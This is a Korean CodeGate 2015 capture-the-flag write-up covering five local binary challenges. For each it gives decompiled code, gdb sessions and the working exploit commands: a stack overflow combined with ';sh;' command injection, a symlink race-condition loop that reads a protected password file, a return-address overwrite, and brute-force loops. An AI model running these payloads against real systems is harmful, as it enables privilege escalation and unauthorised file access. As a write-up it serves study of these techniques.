2015 CodeGate 풀이보고서

김성우

rkwk0112@gmail.com

http://cd80.tistory.com

1. systemshock

```
int __fastcall main(__int64 argc, char **argv)
{
  int result; // eax@2
  const unsigned __int16 v3; // ax@4
  __int64 v4; // rdx@10
  int i; // [sp+1Ch] [bp-124h]@3
  char cmd[264]; // [sp+20h] [bp-120h]@1
  __int64 v7; // [sp+128h] [bp-18h]@1

  v7 = *MK_FP(__FS__, 0x28LL);
  clear_env();
  strcpy(cmd, "id ");
  if ( argv[1] )
  {
    strcat(cmd, argv[1]);                         // bof
    for ( i = 0; i < strlen(argv[1]) + 3; ++i ) // +3 for id#x20
    {
      v3 = (*__ctype_b_loc())[cmd[i]];            // alphanumeric
      if ( !(v3 & 8) && cmd[i] != ' ' )           // alphanumeric + space(0x20)
      {
        result = 1;
        goto LABEL_10;
      }
    }
    result = system(cmd);
  }
  else
  {
    result = 0;
  }
LABEL_10:
  v4 = *MK_FP(__FS__, 0x28LL) ^ v7;
  return result;
}
```

strcat(cmd, argv[1]);에서 스택 버퍼오버플로우가 발생합니다

argv[1]의 주소는 스택에 있으므로 cmd부터 버퍼를 오버플로우 시켜 argv[1]이 저장된 주소까지 접근이 가능하면

strlen(argv[1]);시 strlen에 전달되는 주소를 조작할 수 있습니다

```
systemshock@ip-172-31-3-97:~$ gdb -q ./shock
Reading symbols from /home/systemshock/shock...(no debugging symbols found)...done.
(gdb) disp/10i $pc
(gdb) b *0x4008ba
Breakpoint 1 at 0x4008ba
(gdb) r aaaa
Starting program: /home/systemshock/shock aaaa

Breakpoint 1, 0x00000000004008ba in ?? ()
1: x/10i $pc
=> 0x4008ba:  mov      (%rax),%rax
   0x4008bd:  mov      %rax,%rdi
   0x4008c0:  callq    0x4005e0 <strlen@plt>
   0x4008c5:  add      $0x3,%rax
   0x4008c9:  cmp      %rax,%rbx
   0x4008cc:  jb       0x400855
   0x4008ce:  lea      -0x120(%rbp),%rax
   0x4008d5:  mov      %rax,%rdi
   0x4008d8:  callq    0x400600 <system@plt>
   0x4008dd:  jmp      0x4008df
(gdb) i reg rax
rax                0x7fffe0980900       140736961448192
(gdb) x/gx $rax
0x7fffe0980900:      0x00007fffe0982951
(gdb) x/s 0x7fffe0982951
0x7fffe0982951:      "aaaa"
(gdb) x/s $rbp-0x120
```

```
0x7fffe09806f0:         "id aaaa"
(gdb) p 0x7fffe0980900 - 0x7fffe09806f0
$1 = 528
(gdb)
```

굵게 표시한 두개의 주소는 각각 &argv[1](0x7fffe0980900), &cmd(0x7fffe09806f0) 입니다

이 두개 사이의 거리가 528바이트만큼 차이 나고

입력값은 'id ' 이후에 들어가기 때문에 총 525바이트를 입력하면 argv[1]의 주소를 조작할 수 있습니다

```
systemshock@ip-172-31-3-97:~$ gdb -q ./shock
Reading symbols from /home/systemshock/shock...(no debugging symbols found)...done.
(gdb) disp/10i $pc
(gdb) b *0x4008ba
Breakpoint 1 at 0x4008ba
(gdb) r $(perl -e 'print "A"x525, "BBBBBBBB"')
Starting program: /home/systemshock/shock $(perl -e 'print "A"x525, "BBBBBBBB"')

Breakpoint 1, 0x00000000004008ba in ?? ()
1: x/10i $pc
=> 0x4008ba:  mov      (%rax),%rax
   0x4008bd:  mov      %rax,%rdi
   0x4008c0:  callq    0x4005e0 <strlen@plt>
   0x4008c5:  add      $0x3,%rax
   0x4008c9:  cmp      %rax,%rbx
   0x4008cc:  jb       0x400855
   0x4008ce:  lea      -0x120(%rbp),%rax
```

```
    0x4008d5:  mov      %rax,%rdi
    0x4008d8:  callq    0x400600 <system@plt>
    0x4008dd:  jmp      0x4008df
(gdb) i reg rax
rax                0x7fffae6df760       140736119830368
(gdb) x/gx $rax
0x7fffae6df760:         0x4242424242424242
(gdb) ni
0x00000000004008bd in ?? ()
1: x/10i $pc
=> 0x4008bd: mov      %rax,%rdi
    0x4008c0:  callq    0x4005e0 <strlen@plt>
    0x4008c5:  add      $0x3,%rax
    0x4008c9:  cmp      %rax,%rbx
    0x4008cc:  jb       0x400855
    0x4008ce:  lea      -0x120(%rbp),%rax
    0x4008d5:  mov      %rax,%rdi
    0x4008d8:  callq    0x400600 <system@plt>
    0x4008dd:  jmp      0x4008df
    0x4008df:  mov      -0x18(%rbp),%rdx
(gdb) ni
0x00000000004008c0 in ?? ()
1: x/10i $pc
=> 0x4008c0:  callq    0x4005e0 <strlen@plt>
    0x4008c5:  add      $0x3,%rax
    0x4008c9:  cmp      %rax,%rbx
    0x4008cc:  jb       0x400855
    0x4008ce:  lea      -0x120(%rbp),%rax
    0x4008d5:  mov      %rax,%rdi
    0x4008d8:  callq    0x400600 <system@plt>
    0x4008dd:  jmp      0x4008df
    0x4008df:  mov      -0x18(%rbp),%rdx
```

```
    0x4008e3:  xor      %fs:0x28,%rdx
(gdb) i reg rdi
rdi            0x4242424242424242        4774451407313060418
(gdb)
```

strlen의 인자로 0x4242424242424242가 들어가게 됩니다

그런데 64비트 환경에 ASLR까지 걸려있기 때문에 strlen에 넣어줄 대체 문자를 찾기는 힘들고

원래 rdi에 들어가는 값이 argv[1]인데 그 아래쪽으로 환경변수들이 있었고

환경변수들이 memset에 의해 다 0으로 초기화 됐으니

적당한숫자를 하나 잡아서 최하위 바이트나 최하위바이트와 그 바로 상위 바이트만 변조하면 원래 환경변수가 있던 곳을 가르키게 돼 “”을 가르키게 할 수 있습니다

```
systemshock@ip-172-31-3-97:~$ ./shock "$(perl -e 'print "A"x500, ";sh;", "A"x21, "₩xff"')"
id:
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAA: No such user
$ cat flag
B9sdeage OVvn23oSx0ds9^^to NVxqjy is_extremely Hosx093t
$
```

2. guesspw

이 문제는 직접 바이너리를 분석하기 힘들게 해놨기 때문에

strace, ltrace와 직관으로 풀이하였습니다

```
user@cg2015-1:~$ mkdir /tmp/cd80_writeup;cd /tmp/cd80_writeup
user@cg2015-1:/tmp/cd80_writeup$ ln -s /home/guesspw/guesspw
user@cg2015-1:/tmp/cd80_writeup$ ltrace -if ./guesspw asdf
[pid 16497] [0x8048541] __libc_start_main(0x8048620, 2, 0xff859b94, 0x80495d0
<unfinished ...>
[pid 16497] [0x8048dbc] memset(0xff858870, '₩0', 128)                    =
0xff858870
[pid 16497] [0x8048ddd] memset(0xff8587f0, '₩0', 128)                    =
0xff8587f0
[pid 16497] [0x8048e00] realpath(0xff85a8c5, 0xff858910, 128, 0)          = 0
[pid 16497] [0x8048e21] strstr("/tmp/cd80_writeup/asdf", "password")      = nil
[pid 16497] [0x8049038] strstr("/tmp/cd80_writeup/asdf", "flag")          = nil
[pid 16497] [0x8049096] open("/home/guesspw/password", 0, 0200)              =
-1
[pid 16497] [0x80490bf] open("/tmp/cd80_writeup/asdf", 0, 0200)           = -1
[pid 16497] [0x8049258] exit(1 <no return ...>
[pid 16497] [0xffffffffffffffff] +++ exited (status 1) +++
user@cg2015-1:/tmp/cd80_writeup$
```

입력값을 realpath함수를 이용해 실제 경로를 알아내고

password와 flag라는 글자가 없으면 두개를 open합니다

```
if ( v129 == -323816909 )
{
  v31 = *v138;
  v53 = 128;
  v20 = read(v31, s, 0x80u);
  v31 = *v139;
  v52 = v20;
  v51 = 128;
  v50 = read(v31, buf, 0x80u);
  v49 = -624136372;
  v48 = 1010030233;
  v21 = strcmp((const char *)s, (const char *)buf) == 0;
  v22 = v49;
  if ( !v21 )
    v22 = v48;
  v132 = v22;
}
```

그 후 /home/guesspw/password와 유저가 인풋으로 넣은 파일을 읽어서 비교한 뒤

맞으면 /bin/sh를 실행시키는 flag를 세팅하고

아니면 다른 작업을 합니다

보통 이런 식의 문제를 풀땐 심볼릭링크를 걸어 필터링하는 파일명을 우회할 수 있는데

이 프로그램에선 realpath함수를 사용하기 때문에 원래 프로그램의 경로명을 resolve한 뒤 password와 flag문자열이 있는지 체크합니다

문자열 체크 이후에 파일을 오픈하기 때문에

문자열 체크와 파일 오픈 사이에 짧은 시간차가 존재하고

이를 이용해 레이스컨디션 공격을 할 수 있습니다

Terminal 1
user@cg2015-1:/tmp/cd80_writeup$ while [1] ; do touch cd80zzzz; rm cd80zzzz; ln -s /home/guesspw/password /tmp/cd80_writeup/cd80zzzz; rm cd80zzzz; done

Terminal 2
user@cg2015-1:/tmp/cd80_writeup$ while [1] ; do /home/guesspw/guesspw cd80zzzz; done user@₩h:₩w$ cat /home/guesspw/flag cheapestflagever user@₩h:₩w$

시간차가 매우 작기 때문에 조금 오래 돌려야 하고

서버가 버벅거리면 공격이 힘들어 재부팅 된 직후에 공격에 성공하였습니다

3. cheip

```
junior_guest@ip-172-31-0-234:/home/cheip$ cat cheip.c
#include <stdio.h>
#include <stdlib.h>

void backdoor() {
        execl("/bin/cat", "/bin/cat", "/home/cheip/flag", 0);
}

void bof(char *str) {
        char buf[256];
        strcpy(buf, str);
}

int main(int argc, char *argv[]) {
        char cmp[]="can_you_do_bof";
        if(argc != 2) {
                exit(0);
        }
        if(strncmp(argv[1], cmp, strlen(cmp))!=0) {
                exit(0);
        }
        bof(argv[1]);
}
```

```
junior_guest@ip-172-31-0-234:/home/cheip$ objdump -d ./cheip | grep backdoor
080484a4 <backdoor>:
junior_guest@ip-172-31-0-234:/home/cheip$ ./cheip can_you_do_bof$(perl -e 'print "A"x2, "₩xa4₩x84₩x04₩x08"x200')
aoxl xvonsd ew we fnvo 0z9d z0ds-d8d8 0d0
junior_guest@ip-172-31-0-234:/home/cheip$
```

4. urandom

```
int __cdecl main(int argc, const char **argv, const char **envp)
{
  size_t v3; // eax@1
  int result; // eax@1
  char ptr; // [sp+10h] [bp-68h]@1
  FILE *stream; // [sp+74h] [bp-4h]@1

  stream = fopen("/dev/urandom", "rb");
  fread(&ptr, 0xAu, 1u, stream);
  fclose(stream);
  v3 = strlen(&ptr);
  result = memcmp(&ptr, argv[1], v3);
  if ( !result )
  {
    memset(&ptr, 0, 0x64u);
    stream = fopen("/home/urandom/flag", "rb");
    fread(&ptr, 0xAu, 1u, stream);
    fclose(stream);
    result = printf("Congrats, The key is '%s'₩n", &ptr);
  }
  return result;
}
```

strlen(urandom에서 읽어온값)이기 때무넹

argv[1]에 아무거나 한글자 넣어주면

언젠가 urandom에서 읽어온 10바이트의 첫번째 두번째글자가

넣어준 글자 + ₩x00이 되게 됩니다

```
junior_guest@ip-172-31-0-234:/home/urandom$ mkdir
/tmp/cd80_urandom_writeup
junior_guest@ip-172-31-0-234:/home/urandom$ cd /tmp/cd80_urandom_writeup
junior_guest@ip-172-31-0-234:/tmp/cd80_urandom_writeup$ while [ 1 ] ; do
/home/urandom/urandom a >> ./result ; done
^C
junior_guest@ip-172-31-0-234:/tmp/cd80_urandom_writeup$ cat result | grep
Congrats
Congrats, The key is 'ch!!!zzola'
junior_guest@ip-172-31-0-234:/tmp/cd80_urandom_writeup$
```

5. return

분석해보면 memcmp(user_input, flag, strlen(flag))의 리턴값을 그대로 main함수에서도 리턴합니다

쉘에서 리턴값을 확인하려면 프로그램 실행 후 echo $?를 해보면 되고

memcmp는 한바이트씩 비교하다가 왼쪽이나 오른쪽의 대소를 판단해

1, 0, -1을 리턴하고

만약 a를 넣었을때 1을 리턴하면 f l q t 식으로 조금더 큰 값을 갖는 문자들을 0이 리턴될때까지 집어 넣으면됩니다

마지막 문자는 뭘 넣든 -1이 리턴되는데 그부분은 널바이트라고 생각할 수 있습니다